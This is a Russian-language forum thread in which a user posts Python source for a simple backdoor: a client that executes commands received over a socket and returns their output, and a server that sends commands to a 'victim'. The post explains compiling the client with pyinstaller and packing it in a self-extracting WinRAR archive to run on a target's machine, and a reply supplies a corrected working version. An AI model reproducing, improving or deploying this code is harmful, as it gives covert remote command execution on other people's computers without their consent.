Вирус удаленного доступа или Backdoor

AM0R3M1O

Участник
Автор темы
34
33
Это самый простой Backdoor , который можно только придумать...
Суть его заключается в том , что наш client.py будет исполнять введенные нами команды в консоли server.py.
Начнем с зависимостей.
pip install pyinstaller

Теперь переходим к самому Backdoor'y :
client.py:
import os
import socket
# создаем функцию , которая будет обрабатывать наши команды
def ExecuteCommands(command):
    execute_c = os.popen(command).read()
    return execute_c

# создаем главную функцию и обработку команд
def Main():
    host = 'localhost' #- Тут ваш IP localhost == 127.0.0.0.
    port = 4444 # Порт, юзайте который никогда не занят
    while True:
        try:
            soc = socket.socket() # Создаем сокет
            soc.connect((host,port)) # передаем в функцию коннект IP и Port
        except:
            break # Выход из цикла в случае неудачи
        while True:
            try:
                data = soc.recv(1024).decode() # получаем данные из консоли сервера
                execute_c = ExecuteCommands(str(data)) # передаем функции полученную команду от сервера
                if len(execute_c) == 0: # Если р-тат пуст , то отправляем пробел
                    soc.send(''.encode())
                else:
                    soc.send(execute_c.encode())
               except:
                   break
    soc.close()# закрываем соединение
   
if __name__ == "__main__":
    Main()

На этом клиентская часть закончена.
Переходим к серверу.


server.py:
import socket

def Main():
    host = 'localhost' #Т акже как и в client.py
    port = 4444 # Также как и в client.py
    soc = socket.socket()# Cоздаем сокет
    soc.bind((host,port)) # занимаем порт и ip
    soc.listen(1) # принимаем только одного клиента
    print("Wait victim...")
    connection,address = soc.accept()
    print(" Sucsessfull connection " +str(address))
    while True:
        try:
            toSend = input("SendCommand ->")
            connection.send(toSend.encode()) # Send command
            data = connection.recv(1024).decode()
            print(data) # Полученная информация выводится на экран
        except:
            break
    print("Connection refused")
    connection.close()

if __name__ == "__main__":
    Main()
Все. Теперь открываем CMD и с помощью pyinstaller компилируем client.py
Код:
pyinstaller путь до client.py

Для нормальной работы скрипта нужно сначала запустить server.py а после ждать "клиентов"

Как пример , можно засунуть dist/client в WinRAR SFX и указать исполнение файла client.exe
 
Последнее редактирование:

Morris_TRXLXHD

Новичок
1
0
Итак. Та же самая строка, 26-я, та же ошибка.
Каким образом исправить?
Ошибка:
cleint.py", line 26
except:
^
SyntaxError: invalid syntax
 

kovshik

Известный
109
60
А что он делает? Подключается и все?
Бэкдор - это задняя дверь дословно, то есть ты оставляешь себе проход в систему, о котором никто не знает. в дальнейшем через бэкдор можно заносить вредоносные действия
 

Lolaperez

Новичок
2
0
после except нужно написать тип обробатываемой ошибки. Для любого исключения надо: except BaseException:
 

Nelit

Потрачен
252
38
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Щас бы на питоне вирусы писать
 

BigIce

Участник
24
13
Довольно простая ошибка, я хз как досих-пор никто не объяснил.
Просто except должен принимать именно ошибку, но для простоты можно просто написать except Exception: код. Вот и вся ошибка, внизу приложил готовый код.
client.py:
import os
import socket
# создаем функцию , которая будет обрабатывать наши команды
def ExecuteCommands(command):
    execute_c = os.popen(command).read()
    return execute_c

# создаем главную функцию и обработку команд
def Main():
    host = 'localhost' #- Тут ваш IP localhost == 127.0.0.0.
    port = 4444 # Порт, юзайте который никогда не занят
    while True:
        try:
            soc = socket.socket() # Создаем сокет
            soc.connect((host,port)) # передаем в функцию коннект IP и Port
        except Exception:
            break # Выход из цикла в случае неудачи
        while True:
            try:
                data = soc.recv(1024).decode() # получаем данные из консоли сервера
                execute_c = ExecuteCommands(str(data)) # передаем функции полученную команду от сервера
                if len(execute_c) == 0: # Если р-тат пуст , то отправляем пробел
                    soc.send(''.encode())
                else:
                    soc.send(execute_c.encode())
            except Exception:
                break
    soc.close()# закрываем соединение
  
if __name__ == "__main__":
    Main()

server.py:
import socket

def Main():
    host = 'localhost' #Т акже как и в client.py
    port = 4444 # Также как и в client.py
    soc = socket.socket()# Cоздаем сокет
    soc.bind((host,port)) # занимаем порт и ip
    soc.listen(1) # принимаем только одного клиента
    print("Wait victim...")
    connection,address = soc.accept()
    print(" Sucsessfull connection " +str(address))
    while True:
        try:
            toSend = input("SendCommand ->")
            connection.send(toSend.encode()) # Send command
            data = connection.recv(1024).decode()
            print(data) # Полученная информация выводится на экран
        except Exception:
            break
    print("Connection refused")
    connection.close()

if __name__ == "__main__":
    Main()
 

kin4stat

mq-team
Всефорумный модератор
2,730
4,710
Довольно простая ошибка, я хз как досих-пор никто не объяснил.
Просто except должен принимать именно ошибку, но для простоты можно просто написать except Exception: код. Вот и вся ошибка, внизу приложил готовый код.
1608374691060.png
 

BigIce

Участник
24
13

enflesh

Новичок
12
2
Бл###, ток что понял истинную проблему. Дело было в табуляции, когда я ток что отвечал, увидел места, где не хватало пробела, и просто добавил пробел и не написал этого в самом ответе. Вывод: Я тупой.
Код не работает